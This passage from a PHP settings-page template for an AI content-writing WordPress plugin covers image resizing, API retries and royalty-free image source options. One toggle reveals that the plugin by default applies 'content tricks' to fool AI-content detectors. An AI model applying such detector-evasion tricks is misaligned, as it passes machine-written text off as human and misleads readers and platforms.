image to the width specified in this text field (in pixels). If you want to disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Featured Image Resize Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[resize_width]" value="<?php echo esc_html($resize_width);?>" placeholder="<?php echo esc_html__("Please insert the desired width for featured images", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Resize the image that was assigned to be the featured image to the height specified in this text field (in pixels). If you want to disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Featured Image Resize Height:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1" name="aiomatic_Main_Settings[resize_height]" value="<?php echo esc_html($resize_height);?>" placeholder="<?php echo esc_html__("Please insert the desired height for featured images", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the quality of the resized images. Accepted values: 1-100. 1 is lowest quality, 100 is highest quality. If you want to disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Featured Image Resize Quality:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1" max="100" name="aiomatic_Main_Settings[resize_quality]" value="<?php echo esc_html($resize_quality);?>" placeholder="<?php echo esc_html__("Resize quality", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable the AI content detector fooling method of the plugin? This will leave the AI content as it is, in an unchanged form.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Try To Fool AI Detectors (Disable Content Tricks):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="no_undetectibility" name="aiomatic_Main_Settings[no_undetectibility]"<?php if ($no_undetectibility == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable swear word filtering for created content?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Swear Word Filtering:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="swear_filter" name="aiomatic_Main_Settings[swear_filter]"<?php if ($swear_filter == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable the Media Library extension of the plugin?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Media Library Extension:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="no_media_library" name="aiomatic_Main_Settings[no_media_library]"<?php if ($no_media_library == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Advanced Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to convert markdown to HTML in AI generated content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Convert Markdown To HTML In AI Generated Content:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="markdown_parse" name="aiomatic_Main_Settings[markdown_parse]"<?php if ($markdown_parse == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to not remove the <pre><code> tags created by the AI writer?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Remove <pre><code> Tags From AI Generated Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="no_pre_code_remove" name="aiomatic_Main_Settings[no_pre_code_remove]"<?php if ($no_pre_code_remove == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to clear the OmniBlock processed keywords list at plugin deactivation?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Clear OmniBlock Processed Keywords List At Plugin Deactivation:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="clear_omni" name="aiomatic_Main_Settings[clear_omni]"<?php if ($clear_omni == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable the rendering of shortcodes in OmniBlocks? Any shortcode which the AI will create, will be rendered on your website directly.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Shortcode Rendering In OmniBlocks:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="no_omni_shortcode_render" name="aiomatic_Main_Settings[no_omni_shortcode_render]"<?php if ($no_omni_shortcode_render == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of times the plugin will retry API calls in case they fail. This is useful, as in some cases OpenAI API is failing and a retry will work. To disable this feature, leave this field blank. This feature is currently not supported if the chatbot is in streaming mode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("How Many Times To Retry API Calls In Case Of API Failure:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="max_retry" step="1" min="0" placeholder="<?php echo esc_html__("API retry max count", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[max_retry]" value="<?php echo esc_html($max_retry); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of times the plugin will retry chat API calls in case the AI writer considers the chat as ended. Warning, this can consume more tokens, as it will retry API calls multiple times. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chat End of Conversation Retry Count:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="max_chat_retry" step="1" min="0" placeholder="<?php echo esc_html__("Chat end API retry max count", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[max_chat_retry]" value="<?php echo esc_html($max_chat_retry); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of seconds the plugin will wait for API requests. The default is 120 seconds.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Timeout For API Requests (s):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="max_timeout" step="1" min="0" placeholder="<?php echo esc_html__("API Requests Timeout", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[max_timeout]" value="<?php echo esc_html($max_timeout); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you are using content editing which contain Chinese characters, you can try checking this checkbox.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Send Maximum Tokens In API Request (Experimental):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="no_max" name="aiomatic_Main_Settings[no_max]"<?php if ($no_max == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you encounter issues while using the Single AI Post Creator Advanced Mode tab, check this checkbox.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Use Jobs In The Advanced Mode Single AI Post Creator (Experimental):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="no_jobs" name="aiomatic_Main_Settings[no_jobs]"<?php if ($no_jobs == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you want to get maximum customizability for your shortcodes, check this checkbox. It will allow maximum customizability for content created by shortcodes.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Use !important In Generated CSS For Shortcodes:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="not_important" name="aiomatic_Main_Settings[not_important]"<?php if ($not_important == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> </table> </div> <div id="tab-8<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Royalty Free Image Options', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Royalty Free Images' tab offers access to settings of features of the plugin which offers access to a curated collection of copyright-free images, allowing you to enrich your WordPress site's content without licensing concerns.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Royalty Free Image Search Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to randomize the royalty free image sources order, at each run. If you check this checkbox, the above order will not be applied any more.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Do Not Randomize Royalty Free Source Order, But Use The Below Order: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input onchange="imgChanged();" type="checkbox" id="random_image_sources" name="aiomatic_Main_Settings[random_image_sources]"<?php if ($random_image_sources == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr class="hideImgs"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select your prefered order in which you want to search royalty free image sources.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Royalty Free Image Search Order:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <?php $cards_order = get_option('aiomatic_image_cards_order', array()); ?> <input type="hidden" id="sortable_cards" name="aiomatic_sortable_cards" value="<?php echo esc_attr(implode(',', $cards_order)); ?>"> <ul id="aiomatic_roaylty_free_sortable" name="aiomatic_roaylty_free_sortable"> <?php if(empty($cards_order)) { echo esc_html__('No Royalty Free Image Sources Enabled', 'aiomatic-automatic-ai-content-writer'); } else { foreach ($cards_order as $card_id) { if(!empty($card_id)) { echo '<li class="aisortable-card" id="' . esc_attr($card_id) . '">' . esc_html(ucfirst($card_id)) . '</li>'; } } } ?> </ul> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to randomize the search results order, of the returned images. This can lower the accuracy of images, but make images more unique.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Do Not Randomize Royalty Free Image Results Order: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="random_results_order" name="aiomatic_Main_Settings[random_results_order]"<?php if ($random_results_order == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to try to translate search query keywords to English. This can be useful for non-English languages.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Try To Translate Search Query Keywords To English: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="image_query_translate_en" name="aiomatic_Main_Settings[image_query_translate_en]"<?php if ($image_query_translate_en == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum position of the images from the image search results. More relevant images are shown first in the royalty free image search results. Because of this, using here a number as low as 4 will make the plugin use only the first 4 image results which were returned by the royalty free image search. This can improve image precision. If you leave this field blank, the default value will be used: 4", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Eligible Images Rank At Most At Position: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <input type="number" min="1" step="1" placeholder="4" class="cr_width_full" name="aiomatic_Main_Settings[image_pool]" value="<?php echo esc_html($image_pool);?>"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Choose if you want to improve royalty free image importing, using the below services. These will extract keywords from the original text and provide better image quality results. If you select TextRazor, you also need to enter a TextRazor API key below. If you select OpenAI, you also need to enter a prompt for OpenAI keyword extraction, below. To enable TextRazor to be selected, please enter an API key for TextRazor below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Improve Royalty Free Featured Image Precision Using This Service:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="improve_keywords" name="aiomatic_Main_Settings[improve_keywords]" class="cr_width_full" > <option value="disabled"<?php if ($improve_keywords == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="textrazor"<?php if ($improve_keywords == "textrazor") { echo " selected"; } if(empty($textrazor_key)) { echo " disabled title='You need to add your API key in API Keys tab to use this feature'"; } ?>><?php echo esc_html__("TextRazor", 'aiomatic-automatic-ai-content-writer');?></option> <option value="openai"<?php if ($improve_keywords == "openai") { echo " selected"; } ?>><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__( "Set a prompt for generating a keyword for importing royalty free images for the created posts. You can also instruct the AI writer to return a comma separated list of keywords. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You can use something like: I need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant single word keywords from the heading, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. By doing so, you can help me find more appropriate and targeted images for the article heading. The blog post heading title is: \"%%post_title%%\".", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For OpenAI Keyword Generator For Royalty Free Image Importing:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="2" cols="70" class="cr_width_full" name="aiomatic_Main_Settings[keyword_prompts]" placeholder="<?php echo esc_html__("I need to find highly relevant royalty-free images for an article heading, please extract a comma-separated list of the most relevant single word keywords from the heading, prioritizing specific references over general keywords. Add the highest priority to the most specific keyword that is still related to the main topic. By doing so, you can help me find more appropriate and targeted images for the article heading. The blog post heading title is: \"%%post_title%%\".", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($keyword_prompts); ?></textarea> </div> </td> </tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="keyword_assistant_id" name="aiomatic_Main_Settings[keyword_assistant_id]" class="cr_width_full"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($keyword_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($keyword_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model you want to use for keyword extraction, for royalty free image importing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Model For Keyword Extraction For Royalty Free Images:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="keyword_model" name="aiomatic_Main_Settings[keyword_model]" class="cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($keyword_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("More Royalty Free Image Search Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Please set a the image attribution shortcode value. You can use this value, using the %%image_attribution%% shortcode, in 'Prepend Content With' and 'Append Content With' settings fields. You can use the following shortcodes, in this settings field: %%image_source_name%%, %%image_source_website%%, %%image_source_url%%. These will be updated automatically for the respective image source, from where the imported image is from. This will replace the %%royalty_free_image_attribution%% shortcode, in 'Generated Post Content' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Royalty Free Image Attribution Text (%%royalty_free_image_attribution%%): ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[attr_text]" value="<?php echo esc_html(stripslashes($attr_text));?>" placeholder="<?php echo esc_html__("Please insert image attribution text pattern", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable broad search for royalty free images?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Enable broad image search: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="bimage" name="aiomatic_Main_Settings[bimage]"<?php if ($bimage == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to not skip importing the aritcle if no royalty free image found for the post?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Skip Importing of Article If No Free Image Found: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="no_royalty_skip" name="aiomatic_Main_Settings[no_royalty_skip]"<?php if ($no_royalty_skip == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Pexels API Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Pexels App ID. Learn how to get an API key <a href='%s' target='_blank'>here</a>. If you enter an API Key and an API Secret, you will enable search for images using the Pexels API.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), "https://www.pexels.com/api/" ); ?> </div> </div> <b><a href="https://www.pexels.com/api/" target="_blank"><?php echo esc_html__("Pexels App ID:", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" autocomplete="off" name="aiomatic_Main_Settings[pexels_api]" value="<?php echo esc_html($pexels_api); ?>" placeholder="<?php echo esc_html__("Please insert your Pexels API key", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Flickr API Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Flickr App ID. Learn how to get an API key <a href='%s' target='_blank'>here</a>. If you enter an API Key and an API Secret, you will enable search for images using the Flickr API.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), "https://www.flickr.com/services/apps/create/apply" ); ?> </div> </div> <b><a href="https://www.flickr.com/services/apps/create/apply" target="_blank"><?php esc_html_e('Flickr App ID: ', 'aiomatic-automatic-ai-content-writer'); ?></a></b> </th> <td> <input type="password" autocomplete="off" name="aiomatic_Main_Settings[flickr_api]" placeholder="<?php echo esc_html__("Please insert your Flickr APP ID", 'aiomatic-automatic-ai-content-writer');?>" value="<?php if(isset($flickr_api)){echo esc_html($flickr_api);}?>" class="cr_width_full" /> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The license id for photos to be searched.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Photo License: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[flickr_license]" class="cr_width_full"> <option value="-1" <?php if($flickr_license == '-1') { echo ' selected'; } ?> ><?php echo esc_html__("Do Not Search By Photo Licenses", 'aiomatic-automatic-ai-content-writer');?></option> <option value="0" <?php if($flickr_license == '0') { echo ' selected'; } ?>><?php echo esc_html__("All Rights Reserved", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1" <?php if($flickr_license == '1') { echo ' selected'; } ?>><?php echo esc_html__("Attribution-NonCommercial-ShareAlike License", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2" <?php if($flickr_license == '2') { echo ' selected'; } ?>><?php echo esc_html__("Attribution-NonCommercial License", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3" <?php if($flickr_license == '3') { echo ' selected'; } ?>><?php echo esc_html__("Attribution-NonCommercial-NoDerivs License", 'aiomatic-automatic-ai-content-writer');?></option> <option value="4" <?php if($flickr_license == '4') { echo ' selected'; } ?>><?php echo esc_html__("Attribution License", 'aiomatic-automatic-ai-content-writer');?></option> <option value="5" <?php if($flickr_license == '5') { echo ' selected'; } ?>><?php echo esc_html__("Attribution-ShareAlike License", 'aiomatic-automatic-ai-content-writer');?></option> <option value="6" <?php if($flickr_license == '6') { echo ' selected'; } ?>><?php echo esc_html__("Attribution-NoDerivs License", 'aiomatic-automatic-ai-content-writer');?></option> <option value="7" <?php if($flickr_license == '7') { echo ' selected'; } ?>><?php echo esc_html__("No known copyright restrictions", 'aiomatic-automatic-ai-content-writer');?></option> <option value="8" <?php if($flickr_license == '8') { echo ' selected'; } ?>><?php echo esc_html__("United States Government Work", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The order in which to sort returned photos. Deafults to date-posted-desc (unless you are doing a radial geo query, in which case the default sorting is by ascending distance from the point specified).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php esc_html_e('Search Results Order: ', 'aiomatic-automatic-ai-content-writer'); ?></b> </th> <td> <select name="aiomatic_Main_Settings[flickr_order]" class="cr_width_full"> <option value="date-posted-desc" <?php if($flickr_order == 'date-posted-desc') { echo ' selected'; } ?>><?php echo esc_html__("Date Posted Descendant", 'aiomatic-automatic-ai-content-writer');?></option> <option value="date-posted-asc" <?php if($flickr_order == 'date-posted-asc') { echo ' selected'; } ?>><?php echo esc_html__("Date Posted Ascendent", 'aiomatic-automatic-ai-content-writer');?></option> <option value="date-taken-asc" <?php if($flickr_order == 'date-taken-asc') { echo ' selected'; } ?>><?php echo esc_html__("Date Taken Ascendent", 'aiomatic-automatic-ai-content-writer');?></option> <option value="date-taken-desc" <?php if($flickr_order == 'date-taken-desc') { echo ' selected'; } ?>><?php echo esc_html__("Date Taken Descendant", 'aiomatic-automatic-ai-content-writer');?></option> <option value="interestingness-desc" <?php if($flickr_order == 'interestingness-desc') { echo ' selected'; } ?>><?php echo esc_html__("Interestingness Descendant", 'aiomatic-automatic-ai-content-writer');?></option> <option value="interestingness-asc" <?php if($flickr_order == 'interestingness-asc') { echo ' selected'; } ?>><?php echo esc_html__("Interestingness Ascendant", 'aiomatic-automatic-ai-content-writer');?></option> <option value="relevance" <?php if($flickr_order == 'relevance') { echo ' selected'; } ?>><?php echo esc_html__("Relevance", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> </td></tr><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Pixabay API Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Pixabay App ID. Learn how to get one <a href='%s' target='_blank'>here</a>. If you enter an API Key here, you will enable search for images using the Pixabay API.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), "https://pixabay.com/api/docs/" ); ?> </div> </div> <b><a href="https://pixabay.com/api/docs/" target="_blank"><?php echo esc_html__("Pixabay App ID:", 'aiomatic-automatic-ai-content-writer');?></a></b> </div> </th> <td> <div> <input type="password" autocomplete="off" class="cr_width_full" 